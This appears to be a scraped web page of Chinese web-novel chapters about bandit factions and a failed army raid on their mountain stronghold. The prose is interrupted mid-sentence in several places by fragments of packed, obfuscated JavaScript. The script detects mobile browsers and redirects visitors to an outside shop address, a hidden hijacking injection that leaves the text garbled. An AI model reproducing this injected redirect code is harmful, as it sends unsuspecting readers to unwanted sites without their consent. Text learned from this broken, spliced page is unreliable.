0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888139|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 设好,长途奔波,先填填肚子吧。” 这无心夺权的一番话将齐威虎心中火气压下去不少,他颔首转身长臂一挥,道,“诸位兄弟快快请起!今日我齐威虎有幸与诸位相聚于此,皆是天意缘分,过往种种摩擦怨怼,既往不咎,往后万般方长来日,肝胆相照,我威虎寨人才济济、疏财重义,故,今日所有诚心入伙我威虎寨的兄弟,皆可分得从黑鹰岭与刀客谷中缴获财物!” 齐威虎高举手中账册,一番慷慨之言引得众人欢呼雀跃,他被满院新老土匪簇拥着从初暒面前走过,一路脚不沾地,像是飘进了聚英堂。 酒席上,满桌山珍野味、好酒好菜,齐威虎坐在主位笑盈盈饮下每一个上来巴结自己的喽啰敬酒,偶尔有空时,他的目光才施舍般投向自己下位那个四面冷清,只能自己默默饮酒的少年郎。 在虔来山落草之辈,哪个不是为了钱财。 因而,钱在何处,权就在何处,手中没有银子,哪怕你才能通天,也只能坐冷板凳。 碰过方大通捧来的酒碗,齐威虎仰着头一饮而尽,他一碗接一碗空腹喝了不少上好酒水,直到再无人能在他面前站稳时,齐威虎才发觉自己眼前的人影开始旋转交叠。 “砰!” 脑袋磕在身前案几,冰凉的触感惹得齐威虎眉头拧成一团,他闷哼一声后,久违的做起了自己带领威虎寨叱咤虔来山的美梦。 “扶大当家回主院正房休息。” 初暒饮完酒的酒杯还贴在唇边,堂内立即便有数十喽啰同时抱拳领命。 姜九推开已经醉的不省人事的方大通摇晃着站起,眯着眼睛用视线仔细扫过那数十有条不紊将齐威虎抗走的喽啰,像是想这些人的面容深深记住似的。 齐威虎被手下抬走,初暒放下酒杯,起身跨过醉的歪七扭八躺在地上昏睡的喽啰背手离开,而后一连两日,无论齐威虎怎样邀请试探,她均以身体不适为由,拒不出房。 没有初暒碍眼,齐威虎在黑鹰岭中拉帮结派,如鱼得水、如日中天。 初暒不在场,被她打服的原刀客谷、黑鹰岭喽啰们也没了顾忌,一心为拿人手软的齐威虎马首是瞻,整个黑鹰岭你来我往、其乐融融,气氛一片祥和。 “大当家的短短几个月便成为虔来山中霸主,足见您的知人善任、物尽其用,只是……如今咱们家大业大了,二当家的又不中用,整日间抱病不出,寨中大小事务全数落在您的身上,小的实在担忧您身子撑不住……” 方大通神色忧虑,可心里的算盘声霹雳吧啦的震得姜九耳朵都疼,“寨中事务繁杂,大当家的若是顾不过来,自有我伍二哥与楚六哥分担,大通哥哥若是太过空闲,不若多教教寨中兄弟们一些识路本事,以免将来要用时只能逮住你一人使唤。” 年纪不大嘴巴倒是厉害,方大通想起他口中提到的两人,不由嗤笑,“初二当家带几百人灭谷夺寨连个受轻伤的兄弟都没有,可楚六偏偏在事成之后让人捅的好几天都下不了床,还有伍二,我头回见他时,他就跟在二当家屁股后面指哪打哪儿,一个没有脑子、一个空有蛮力,这样两个人你指望他们能替大当家的分担什么?” “你胡说八道什……” 姜九哪容得旁人这般侮辱两位哥哥,撸起袖子就要与他指着对骂,坐在两人中间的齐威虎拍拍案几,打断他们,问,“伍二人呢?这几日也不常见他。” “回大当家的,咱们刚来黑鹰岭那日,他便寻着小运气去看楚六哥了,这些天一直再跟前照顾着呢。”姜九瞪了方大通一眼,嘲讽道,“伍二哥有情有义,不像有些人,兄弟遭难只会在背后煽风点火,往井里丢石头!” 他想说落井下石,可一开口便暴露自己嘴里其实一点墨汁都没有,方大通再不屑与他争辩,只跟在站起来的齐威虎身后,听他说,“我去看看楚六。” 91. 站队 齐威虎举寨乔迁,临行前还不忘将独自住在离威虎寨老远的小运气带着。 小运气年纪小,身子骨也十分瘦弱,他追不上威虎寨常年在山里游走打劫土匪的脚步,只能远远跟在队伍后面走走歇歇,以至于他们入黑鹰岭当晚,齐威虎被众多喽啰前呼后拥的推走后,伍二才瞧见落在队列最后气喘吁吁赶来地小运气。 趁着人群混乱,伍二悄摸将他带进后院楚六养伤的屋子,小运气进门后看清床上躺着那人,感叹一句,“怎么又是楚六哥,他也忒倒霉了些。” 双目紧闭躺在床上那位听见熟人的声音,刚要清醒,却忽的觉得自己的脑壳像是被针扎了一下,不等挨扎的脑子反应,他的眼皮一松然后重又昏睡过去了。 楚六重伤,已经在床榻上躺了两三日都不见清醒,姜九此前来探望他时,看着楚六满头插的银针心疼的哇哇大哭。 小运气看他伤心,心里过意不去,想要过去说些什么,一旁的伍二抢他一步揽着姜九出门宽慰说,“小运气的医术你还不放心?楚六他没事的,你要实在难过,不如替我俩多为大当家的出些力,以免寨中有不长眼的,坏了长幼有序的规矩。” 于是,姜九眼睛泛着泪花重重点头后,接下来两日不是陪着齐威虎笼络新入伙的喽啰们,就是扬着下巴与妄图取代二当家和他两个哥哥的方大通吹胡子瞪眼睛,直到今日才得空与齐威虎一同过来探望楚六。 守在后院的伍二看到他们过来,连忙顶着胡子拉碴的脸过来行礼,齐威虎见他这幅模样心中感动,夸赞道,“难怪姜九说你有情义,这两日都不曾好好歇过吧,快,去洗洗睡会儿吧。” 伍二颔首答完是,转身打着呵欠离开。 将他支走,齐威虎挥手让姜九也退下,屋内的小运气听到门外动静,坐在床边不急不缓的从楚六脑袋上拔下一根银针,银针收回针灸包,楚六的呼吸声也大了些。 等楚六缓缓睁开眼,床边瘦弱的模糊轮廓突然变成一个独眼大汉,他定睛看清坐在身边关切看着自己那人,竟激动地直直仰卧坐起。 “大当家的!您总算来了!” 楚六遭人当面暗算,胸口被戳了一个好大的洞,但万幸他自己皮糙肉厚,伤他那人或许是因为手抖没戳中要害,小运气来之前伍二又将他那伤处处理的极好,因而他这般大动作的起身,也没觉得自己身子有哪里不舒服。 他伤的其实不重,这事小运气知道,伍二也知道,可是齐威虎并不知道,他看楚六伤成这样见着自己还如此恳切,不由软声道,“我的确来了,你有话慢慢说,当心莫要扯着伤口了。” “二当家的现在何处?!” 齐威虎答,“我来几日,她便抱病不出门几日,此时应是在自己屋子里躺着,你问她作甚?” 楚六松了口气,但又像是没有松完,郑重且焦虑道,“二当家可能想杀您!” 昏睡了许久,楚六的记忆还是停留在自己完全失去意识之前,惊天阴谋尤在耳边,他顾不得身上伤口,只是竹筒倒豆子般将自己在柴火房门口偷听到的初暒与燕山鹰的谈话一五一十的全部说给齐威虎听。 “大当家的,山里都传威虎寨能如此迅疾的连夺三寨都是二当家的功劳,还说与抱着老本成日窝在寨中的您半毛钱关系都没有,真是听得小的都想冲进去撕烂燕山鹰的嘴!他们哪知道要不是有您在背后支持,她初暒哪来的人手在虔来山这般嚣张狂妄!” 楚六说初暒嚣张,可脑中却实在想不起她嚣张狂妄起来是什么模样。 燕山鹰曾说她有勇有谋,于是楚六眼前又浮现出初暒带他们放跑黑鹰岭被掳百姓、石灭刀客谷与黑鹰岭余党那个空中满是飞扬尘土与血腥味的夜晚。 “可是……正如燕山鹰说所言,二当家她有如此本事,又手握三寨人手钱粮,为何还要差人请您举寨过来掌权,不图钱权不图利,那么她费了这些劲儿究竟是为了什么呢?” 楚六拧着眉毛满脸的想不明白,齐威虎攥着拳头坐在床边也不说话。 两人无言多时,齐威虎终于开口问,“你觉得她为人如何?” 大当家口中的她是谁,楚六心知肚明,他正要答话,一张嘴又不知道自己该说些什么。 楚六想来也觉奇怪,虽然和初暒相识不久,但这段日子自己也跟她办过不少差事,不说对她心知肚明,也应该寻摸出她起码的处世性情,可大当家的此时问起她的为人,楚六竟不知该从何说起。 “小的初见二当家时,以为不过是个胆大贪财的小屁孩,谁知下一瞬她就抽了我腰间大刀,砍了牛三的脑袋,将头送给咱们去山下领赏,后来她为给那无名老道报仇,只带小的与伍二、姜九三人便手刃赖豹,夺了他的豹子山一举成名,小的心中方对她敬佩,而这回跟着她收服黑鹰岭与刀客谷两寨,小的才终于明白一个人的城府深的让人看不透这话究竟是什么意思。” 刀客谷那些被石块砸扁的肉馅还历历在目,幸而楚六这几日没怎么进过食,只‘呕’了一声略感反胃,“小的知道二当家杀人不眨眼,却没有想到,她亲自下令将刀客谷所有土匪喽啰用山石砸成肉泥后,行走其中莫说畏惧呕吐,就是连她前行的脚步都不见凌乱,若不是天生冷漠,便是那些可怖场景她早就见怪不怪了。” “大当家的,你曾说她‘虽然看着文质彬彬,一副白面书生做派,可身上的脾气秉性或许比我还要暴躁些’,只是小的这些时日发现,她脾气暴躁不假,可沉稳冷静、遇事不急不躁才占她多数时候,小的曾听原豹子山与投奔散户私下闲聊,这些人中已有不少喽啰为二当家所行折服,甘愿誓死效忠于她。” “心狠手辣、城府极深,又能以谋略手段引得手下兄弟自愿追随,可咱们与二当家的相识数月却连她入虔来山图谋什么都不晓得,大当家的,小的以为……”楚六靠在床边,似乎不忍心又似乎不得不这么说,“如今虔来山霸主已定,她……留不得了。” 楚六这些话如何不是齐威虎心中所想,只是他并未与新入伙的喽啰共过苦,又怎么好腆着脸同手下们享初暒拼来的福,且不论那些喽啰是否真心顺服于他,若自己刚坐上这四寨当家之位就杀了大功臣初暒,那他齐威虎往后还要不要在虔来山里做人了。 “我是土匪,并非卸磨杀驴的小人,初暒出力舍命为威虎寨一统虔来到今日还没犯过一丁点错处,怎能说杀就杀。”齐威虎深思片刻,又补充道,“再者,朝廷的人此时还在山下守着,咱们这段时日连收三寨,势头太猛,定然已经被他们盯上,寨中诸多兄弟的前程性命都攥在我的手里,能多一个人为我出谋划策也是好的。” 这话楚六也在燕山鹰口中听过,他坐直身子刚想靠过去向大当家低语,忽然听见门外姜九的声音炸起,“大当家的不好了!寨外值守暗哨来报,山下大约有千余官兵正悄悄朝黑鹰岭摸来!” “这么快!” 齐威虎腾的一下站起,在屋里来回踱了几步才开门看向姜九,“召集所有兄弟在院中汇合。” 姜九应声后,立即跑开。 楚六已无大碍,掀开薄被起来更衣,齐威虎转身看他,凝声说,“速去请你二当家的来聚英堂议事。” 楚六犹豫片刻,终究点头,“是!” 官兵潜进虔来山意欲围剿黑鹰岭,后院大小喽啰皆在惶恐奔忙中被姜九吆喝到前院集合,坐在墙角小憩的小运气揉完自己的惺忪睡眼,看见站在楚六卧房外的齐威虎仰头思忖许久后,背手走进了无一人值守的柴火房中。 初暒在屋里待了两日,原先被风吹日晒的脸白皙了不少。 她靠在聚英堂太师椅上,捧着热茶小呷,茶盏上悬浮的热气萦绕在面前,更衬得她面色苍白、神色恹恹,看起来确实一副病体缠身的模样。 伍二静静站在初暒身后不时为她增添茶水,楚六见状翻了个白眼,暗自腹诽这两人真是生怕旁人看不出他们是一头的。 方大通自听到姜九的呼喊就心神不宁,他手掌搓着拳头来回在堂内溜达,转悠的姜九都快要眼花。 “大通哥哥你消停会儿吧,就算你将堂内溜达出个洞,官兵们上来,该是你死,你还是得死。” “休得浑说!什么死不死的,真是不吉利!”方大通在门口顿住脚步向外张望,“大当家的将人都吆喝过来,自己却不见了,该不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“值守暗哨所报消息,想必你们都已知晓,初二当家的早前就过问我为威虎寨将来作何打算,我那时说事关百余兄弟们的性命前程,须得仔细想想,可谁也没料到……”齐威虎有意无意瞥了初暒一眼,“这个‘将来’来的如此之快,如今山下官兵已经向我们黑鹰岭出手,我这个时候请大家过来,便是想请在座兄弟们真心答我一句,面对朝廷,诸位究竟愿进愿退?” 堂内几人虽然大部分都曾跟着初暒在山里提棍背刀的打杀过四方土匪,可是也并非张狂到敢同朝廷对上…… 虔来山中四寨争斗才消停,众多土匪喽啰吃喝玩乐、酒醉饭饱也不过两日,就传来这么个噩耗,大家还在六神无主,齐威虎却将举寨前程摆在桌上让他们商讨,倒是让众人瞬间平静下来。 他们闭着嘴面面相觑,似是都不愿意做第一个开口的人。 “以退为进,是想攻,以攻为守,是想守,攻守皆为手段,只看用这手段的人是何目的,大当家的明知官兵已经摸上山来,还有闲心与我等商讨,想必是心中已有成算,又何必再多此一问。” 初暒语气淡淡,面上也不见情绪,让人不明白她到底是实话实说还是讽刺。 “初老弟聪慧,我瞒不过你。”心思被她发现,齐威虎也不觉尴尬,他重又朗声对堂内众人道,“诸位不必担忧,虔来山地势复杂、山高路险,那些个官兵也只敢青天白日的摸上来,莫说围剿,能不迷路也算他们本事大了,我知大伙皆无心与朝廷作对,我亦如此,我方才那一问不过是想先与众兄弟们通通气,以免有人心性大,不愿在虔来山里过躲避官兵围剿的窝囊日子。” 齐威虎话里有话,众人的目光都不约而同看向靠在太师椅上静默饮茶的少年。 自齐大当家的接手黑鹰岭账册之后,威虎寨四方势力便暗中站好了各自的队伍,齐威虎执掌威虎寨多年,其威望在虔来山中自不必赘述,而初暒虽落草为寇不久,却在极短时间以凶狠手段于山中扬名,其才能也不容小觑。 追随初暒的觉得她有能力却不贪功,是个有情有义的当家,反观齐威虎啥都没干就白得了个虔来山,实在看不出他有什么能耐,而追随齐威虎的则认为,哪怕初暒再有本事不还是心甘情愿的屈居在当家之下,可见还是混在一寨老大手下才最保险。 堂内、院中土匪们心怀鬼胎的站在目之所及的地盘,惦记着自己的一亩三地时,忽听寨外值守喽啰高呼—— “报!千余官兵已至刀客谷,大约半个时辰内便可抵达黑鹰岭!” 92. 扑空 天刚蒙蒙亮时,白冲便带领一支小队进虔来山为王羌曹探路。 他本以为依照自己先前在山中徘徊的记忆、留下的路标以及仔细与一同去过的手下商讨前行路线,怎么着也能寻见黑鹰岭的大致方位,却没想到他们一帮人在山里七拐八拐直到晌午太阳高挂头顶时,眼前的山林还是与进山不久后看见的山林别无二致。 原地暂歇,王羌曹走到前头将手中水囊抛给白冲,“虔来山地势复杂、路途艰险世人皆知,哪是只在其中摸索过几日就能驾轻就熟的,不过也莫灰心,今日我们还有时间。” 白冲接过水囊咕嘟嘟灌完几口,用护臂束袖蹭了一把下巴水珠,抱怨,“我早与慕将军说虔来山地形复杂,需得先派兵逐日上山标记地形、熟悉地势,不然还没开始和土匪打,便会被他们在山里绕晕!他非是不听,你瞧,人家土匪连面都没露呢,咱们先给自己绕糊涂了!” 他的嘟囔不满传到后面官兵耳中,惹得许多人小声附和,王羌曹回头恶狠狠瞪了小兵们一眼,止住那些议论,随后与白冲低声道,“白少爷,慎言。” 白冲自觉失言,闷闷嗯了一声,余光瞥见有个小兵不抓紧休息,不知在寻摸什么,竟低头越走越远。 “哎哎那个兵!那个兵!你寻摸什么呢!虔来山中白日也有野兽,莫要离队瞎跑!” “报白什长,属下方才闻见一股腥臭味,那味道不浓重但总感觉像是尸臭与血腥混在一起的味儿。”被点名的小兵赶忙跑回来,指着附近那片山林说,“属下觉得那片林子里可能有古怪,所以想去看看。” 白冲顺着小兵手指的方向看去,发现此处有些像那晚自己和柱子钻过的树林。 与王羌曹相视一眼后,白冲立即带人跑进去搜寻,很快便听其中有人高喊,“这里有具被猛兽啃食过的尸体!” “属下这边也发现一截残肢!” “报!这里也有……” 白冲走到一具咽喉被短刃嵌过的尸体旁边,发现他的内脏已经被山中野兽刨食干净,胸腔位置只留下几根光秃秃的断骨。 王羌曹蹲下端详尸体咽喉片刻,说,“切势轻、砍势重,创口拖切痕少且短、皮肉断离整齐,骨质损伤严重,取他性命的短刃,应是农户常使的大斧。” 是她。 白冲了然,“威虎寨二当家便是在这片树林中与黑鹰岭土匪火拼的,你们以此处为圆心,继续向外搜寻,注意留心脚下足迹,切勿遗漏任何线索!” “是!” 山里树木茂密,入秋后的林中泥土潮湿又少见光照,因而几日前留在这里的诸多痕迹依旧清晰可辨。 循着脚下凌乱足迹边沿环绕一圈,白冲发现当时火拼土匪中,有一方是以包围之势逐渐向内砍杀,他们的步伐稳健有序,一步步将另一方逼入绝境…… “白什长,包围圈中有个缺口,有一群人从缺口冲出来,往……那个方向跑了!” 缺口指向方位中只有一条路可走,王羌曹走过去遥遥看见那边矗立着两座高山,“两山间低凹而狭窄之处是山谷,那里难道是刀客谷?” 白冲:“应该错不了。” “威虎寨将黑鹰岭余党逼去刀客谷作甚?”王羌曹不解,“如此密不透风的包围圈忽然缺了个大口子,黑鹰岭那帮人就没有觉得不对劲?” “若在白日,自然会觉得不对劲,可要是夜里,被逼进绝境的土匪们想在乌漆嘛黑的山林中逃命,谁还顾得上看那里是阳关道还是奈何桥。” “依虔来山地形图上所绘,刀客谷就在黑鹰岭北部,找到刀客谷,必定能寻见黑鹰岭!”白冲调转队伍,高声下令,“探路小队!随我下山进谷!” 白冲带几人沿路跑去,王羌曹看着前面越来越狭隘险峻的地势有些不放心,便让手下兄弟在原地待命,自己领人追了过去。 山里水汽大,谷底不串风,因而刚走到刀客谷寨门口,白冲就闻到一股直冲天灵盖的难闻气味。 这味道人不受不了,可是山中的豺狼虎豹却十分喜欢,于是同树林中一样,刀客谷内到处都是野兽出没的痕迹。 闯入寨门大开的刀客谷,满地的断壁残垣、碎石尸块、残衣肉泥便倏地映入眼帘,饶是见多凶案现场的王羌曹也被眼前场景镇住,他仰头看天,确认两座山顶并无异常才稍稍安下心来,感叹一句,“这些土匪都是被活生生砸死的,方才在树林中我只觉得那位威虎寨二当家聪明,到此处才发觉她也实在狠毒。” 白冲想起擒住燕山鹰那晚,曾听他说‘威虎寨先夺豹子山再扰黑鹰岭,刀客谷这会儿大概也已经没了,那些人能下此狠手你真当他们是吃素的?只带了这么几个人就敢在此处张狂,是嫌你与你这些手下活得太久么!’ “她有如此手段,难怪那时只带一人就敢与我当面对峙。”下意识打了个寒颤,白冲咬牙切齿说,“个死土匪竟然出此狠招!这些人的性命就不是性命了吗!亏我还曾邀她随我当兵征战沙场、报效朝廷,真是瞎了眼了!” 王羌曹权当没听见他最后一句话,提醒道,“时辰不早了,此地不宜久留。” 白冲颔首,“走,找黑鹰岭!” 探路队伍离开刀客谷同大部队汇合,一路往南奔走,白冲前几日亲自去过黑鹰岭,虽说走的夜路,但途中一些山石树木他多少也有些印象,故而行军不到半个时辰,王羌曹便看到不远处那片上宽下窄之地。 “找到了!” 土匪们钻在虔来山为害中北百姓多年,朝廷原先也曾依民意上山剿匪,却苦于其中复杂地势只能逮住一批惩治一批,奈何山里的土匪就像韭菜,割过一茬还有一茬,根本无法将他们一网打尽,不过这些土匪像是也有分寸,只求财不伤人,日子久了,朝廷实在拿他们没法子,只好睁一只眼闭一只眼与他们将就着过日子。 但是好似是从半年前开始,这份平衡忽然被打破了,虔来山上的土匪除了商户金银还看上了农户汉子,他们掳人杀人,搅和的山下百姓惶恐不可终日,其中,以手段凶狠、无恶不作、人数众多远扬臭名的就是这个黑鹰岭。 王羌曹远在安南庄就职时就听说过黑鹰岭狡猾神秘的名号,没成想今日竟真让他们找着这寨子的老窝,他兴奋地直拍白冲的肩膀,可白冲咦了一声,纳闷道,“我头前进去的时候,门外还有值守喽啰,怎么大白天这会儿寨里寨外一个人都不见呢?” 王羌曹:“那些个土匪许是夜里才出来活动,白天都窝在里面睡觉呢。” “威虎寨那个二当家心眼多的很,她睡觉时不可能不给自己留个把门的。”白冲弓着身子站起,“我带人过去看看。” 王羌曹伸手拦住他,低吼,“不成!” 虽然慕峰青下令是要上山围剿黑鹰岭,可王羌曹却没这个打算。 在明知虔来山地市复杂的情况下贸然带兵围剿土匪,运气好了,只在山里迷了路多绕几圈,运气不好,说不定连小命都要搭进去。他在安南县衙混迹多年,早将上司动动嘴,属下跑断腿的把戏摸得一清二楚,因而在一接到此令当时,王羌曹就决定今日一行主要就干干那些标记地形的活计,再说他还领着知州大人的独子呢,白少爷要是出个什么意外,那白向福还不将他撕了。 “今日能找见黑鹰岭老窝已是大功一件,怎么还要以身犯险呢!”王羌曹苦口婆心劝道,“你已察觉有诈,万一那里面真有陷阱,你要我如何向慕将军交代。” 白冲不听,扒开他的手就要走,“带这么多人,来都来了,不提几个土匪人头回去,才是没法向慕将军交代!” 他牛劲上来,王羌曹阻拦不住,只好依他让一半人原地静观其变,另一半人随他们悄悄往黑鹰岭摸去。 起先,白冲十分谨慎,前进时颔首躬身,生怕自己一露头便引起躲在暗处的土匪察觉而惊动匪首聚势反击,可直到他们百余人已经潜进黑鹰岭门前十数丈都不见一人踪影,他忽觉不对倏地起身,不顾身旁王羌曹的拉扯,大步冲上前猛地踹开黑鹰岭大门,堂而皇之地在其中东寻西觅却仍旧不见一个活物。 “娘的!被耍了!这帮天煞的早探知到我们的踪迹,弃寨逃跑了!” 白冲咒骂一句,气急败坏地抽刀满院劈砍能看见的所有器物,王羌曹却冷静环视黑鹰岭片刻,道,“不见匪贼、空寨无用,天色已暗,咱们须得收兵尽快下山。” “要走可以,等我放火烧完这吃人的窝子先!” 白冲作势要差人燃火把烧寨,王羌曹忍无可忍的捣了他一拳,喝道,“你脑子叫驴踢了!眼下已是深秋,日头一落就起会风,山里树木又大多干枯,敢让那些枯枝干叶见着一点火星,火势便会瞬间蔓延开来,到那时我们这帮人就算长了翅膀都不一定能平安逃脱!你竟还要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888141|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放火烧寨?你有这么大的本事怎么不点一把火将整个中北全烧了!” 被王羌曹当众责骂,白冲自觉面上挂不住,但见他言之凿凿,自己又确实失口乱言,于是只犟嘴一句“我瞎说而已,你何必当真”而后怏怏不乐的跟在他身后随大部队下山。 慕峰青初次下令命人剿匪,虽自知过程必不会太过顺利,但心中多少还是对他们有些期许,只是这些期盼在他亲眼瞧见白冲与王羌曹垂头丧气的走进兴民县衙向自己复命时,消失的一干二净。 白冲一进门就单膝跪地请罪,惭愧说,“慕将军,山匪狡猾,闻讯弃寨而逃,属下等人扑了个空,此行有失军命,未竟所托,深感惶恐,属下愿领罪受罚,以儆效尤!” 这个傻小子不提功列,只说罪责,连个台阶也不给自己递,王羌曹连忙接话,道,“今日之事,是我等准备不足所致,属下必当深刻反思,汲取此次教训,不过……今日一行并非一无所获,属下们已经摸清黑鹰岭确切方位,只等重整旗鼓、厉兵秣马以备再战,恳请慕将军给属下们戴罪立功机会,我等定将当以死效忠,灭山匪、收虔来!” 慕峰青问,“白冲既说山匪已经‘闻讯弃寨而逃’,这虔来山脉层峦叠嶂、曲折绵延,若土匪们真有心躲藏,你又怎么能寻见他们、灭了他们呢?” 王羌曹答,“白冲兄弟方才大概是一时紧张才惶恐失言,今日我俩带兵闯入黑鹰岭时便发现,那寨中虽然不见一人踪影,可屋内院中陈设皆整齐有序未见一处慌乱痕迹,故而属下们斗胆推测,虔来中只有黑鹰岭一寨房屋宽敞、地势优越,威虎寨那帮土匪好不容易一统四寨定不舍得弃此宝地、另寻他处,今日扑空,不过是他们使的一出空城计而已,土匪们宁愿躲藏也不愿与官兵正面交手,此举或许说明他们其实并无心与朝廷作对,故而属下认为,若真与土匪交手,他们定会有所顾忌,两方对战,对方有顾虑,我方却没有,这种局势之下,我们必定可以大获全胜。” 他这番话有理有据,听得慕峰青喜出望外,“王县尉见微知著、言之有理,难怪王尚书赞誉你智勇双全,有勇有谋,剿匪一事交由你办,我甚是放心。” 王羌曹干干扯了扯嘴角不再言语,又听慕峰青朗声道,“王县尉、白什长与所有上山兄弟今日辛苦,来人!今夜加餐犒劳于众!” 在门口静候多时的郑万金闻声立即笑眯眯进来献媚,“下官猜想王县尉、白什长此行定不会负慕将军所望,故而早将好酒好菜备在灶中,还请三位移步膳厅用膳。” “如此甚好。” 慕峰青满意地看了一眼兴民县令郑万金,而后背手潇洒离去,王羌曹与白冲抱拳与郑县令行完礼后,才发现他侧后还躬身着一位身着灰衣长衫的消瘦男子。 察觉他们目光,郑万金笑道,“这是本县书吏,平日常与本官打打下手,不是什么外人。” 书吏拱手,走上前彬彬有礼道,“小人吕贾,见过王县尉、白什长。” 这个叫吕贾的大约三十多岁,走进了白冲才见他一身长衫上打了两三个同色补丁。 “这么客气作甚。”白冲从怀里掏出一块银锭,不客气说,“吕大哥,我听说兴民城中新开了家叫一口甄的点心铺,那店铺伙计曾在安南庄学过手艺,不巧我这大哥就是从安南庄来的,他此番外出办差,许久不曾尝过家乡口味,故而我想请你替我抽空去那铺子买些点心回来,这钱你拿着,多出的就当是小弟我感谢你的。” 吕贾连忙摆手说买点心哪需用这么多钱,白冲却将银子塞给他后,拽着王羌曹撒腿就跑。 郑万金旁观完他们拉扯,笑笑说,“白少爷心善,给你就拿着。” 吕贾捧着手中的‘烫手山芋’正在不知如何是好,听见郑万金这句立即向他低头拱手,“小人福薄,哪能受得白少爷这般谢意,此物还请郑县令收下。” 四下无人,郑万金也不扭捏,将银子揣进袖中转身边往膳房走,边交代,“慕将军虔来剿匪下榻在我兴民县衙,一应用度皆出自公费,你账目切记做的机灵些。” 吕贾跟在他身后,颔首,“是。” “不必再跟了,去忙白少爷交代你的事吧。” 郑万金顶着便便大腹背身挥手,兀自扬着笑脸钻进膳房入席,吕贾看着屋内嬉笑众人,扒在门外委屈呢喃—— “小人也饿着呢……” 93. 分家 齐威虎一收到值守喽啰报信,就立即下令命全寨手下转移至距黑鹰岭不远的一处巨型山洞中,一直待到后半夜才回去。 一群人回到黑鹰岭,见寨子与其中物件大多完好无损,皆夸赞齐大当家的神机妙算、料事如神,说官兵不会毁寨,他们竟果真没有毁寨。 齐威虎心中原本还在妒忌寨中有那么多喽啰愿在初暒手下当差办事,怕自己‘来路不正’的四寨之主的位置被旁人非议,此时被手下们一吹捧倒让他开始觉得,下令指挥、带人争斗无非就是当家的几句话的事,说不准正是因为那三寨空有虚名头,并无真本事,才将比他们稍强一些的初暒衬托的精明能干。 内有齐威虎给自己宽心,外有以方大通为首的土匪们时时变着花样儿在他耳边阿谀奉承,让齐威虎确信如今虔来已定,初暒再无用处,把寨中大小事务全部都掌握在自己手中才是正经事。 在山下官兵围剿之前带领全寨顺利逃脱一事或许增益了齐威虎当家作主的信心,第二日一早他便开始雷厉风行的命手下所有喽啰在寨中分秒必争的练拳练刀,一副谁与争锋、谁来砍谁的架势。 齐威虎忙着过四寨之主的瘾,无暇顾及无用之人,初暒得了空闲,‘抱病’在房中修养了好几日后,终于趁着天晴出来晒太阳。 “二当家,您身子当真好了,用不用我喊小运气来给您看看?” 初暒身姿舒展的坐在门外石阶上,看伍二端着早饭托盘过来,笑道,“不是跟你说过,我是装病的么。” 伍二将早饭搁在院中石桌,道,“可在聚英堂议事那日,我瞧您脸色苍白、面无血色整个人瞧着有气无力的,可真不像装的。” 初暒欲言又止,顿住好一会儿才打哈哈,“估计是那段时日奔波太甚、操劳太过累着了吧……对了,你口中那位小运气究竟是何许人也,总听寨子里的兄弟们提起他。” “他啊……二当家您……” “哦!哦!” 一阵如雷欢呼自黑鹰岭院中传来打断二人谈话,初暒问,“我没有出门这几日,齐威虎都在忙什么?” 伍二摇头,“具体小的也不清楚,听说您身子不适,大当家的便命小的来照顾您的衣食起居,这段时间寨中事务他大多都是交予楚六、姜九还有方大通去办的。” 威虎寨的壁垒如今已然分明,是时候开始下一步动作了。 初暒看着石桌上丰富餐食,招呼伍二,“过来,咱们抓紧吃两口。” 伍二不知二当家这话何意,但还是坐下捏起筷子和她一起大快朵颐。 两人正吃着,又听见一阵急促地脚步声由远及近,“报!” 潘闯小跑进初暒院中,一见她便抱拳喘着气,压低声音禀报道,“二当家,齐大当家昨夜子时忽然下令,命寨中大小喽啰携带兵器出寨下山、趴窝埋伏,直到暗夜里那群上山的人冒头小的们才晓得,大当家让下绊子的对象竟然就是山底那些摸黑上来想出其不意攻山的鹰爪孙!事关重大,可那时小的来不及与您通报……” 结合方才那阵欢呼,初暒蹙眉与潘闯确认,“此战胜负显而易见,我只问你,可知官兵们在此次埋伏中是否有伤亡?” 潘闯答,“楚六献计,依照您此前习惯,埋伏时备了棍刀两样,小的只听大当家命众人抽棒之声,不曾听他呼喊过换刀之令,夜里山中不见光,喽啰们只包围着官兵胡乱敲打,打完就跑,那会儿人多手杂,小的实在不确定是否有伤亡。” 齐威虎只说埋伏官兵,却没有交代手下人下手轻重,若真伤着那些官兵性命,这些土匪将来落在朝廷手里,只怕是凶多吉少了。 初暒猛地起身直奔聚英堂,潘闯想跟她过去却被伍二拦住,“你不宜暴露,我去。” 潘闯点点头,看他们离去后才明白,迎齐威虎入黑鹰岭那夜,初暒为何在背后摆手让他向齐威虎行礼。 初暒早知齐威虎掌权后会冷落排挤她,故而在明在暗都留下了自己的人。 自己的人? 脑袋里浮现这四个字时,潘闯有些讶异,初暒看出他底细那日他们才算正式认识,他们两人之间从未有过以什么举止暗语秘密行事的约定,可偏偏她一个动作就能让自己下意识对她言听计从。 就像此次报信也只是潘闯自己觉得埋伏官兵这事是齐威虎思虑不周,于是擅自跑来向她禀报以谋求善后之法,可方才脑海中出现的那四个字又让潘闯忽然意识到,他能来报告此事,其实也早在初暒的意料之中。 他是初暒的‘自己人’。 心里似乎有些成就之感,潘闯嘿嘿一笑,可是他笑完又不知道自己在笑什么。 二当家冲出去时面色不好看,担忧她与伍二人单力薄,潘闯原地思忖片刻还是抬步走向了聚英堂。 聚英堂中,一片欢声笑语。 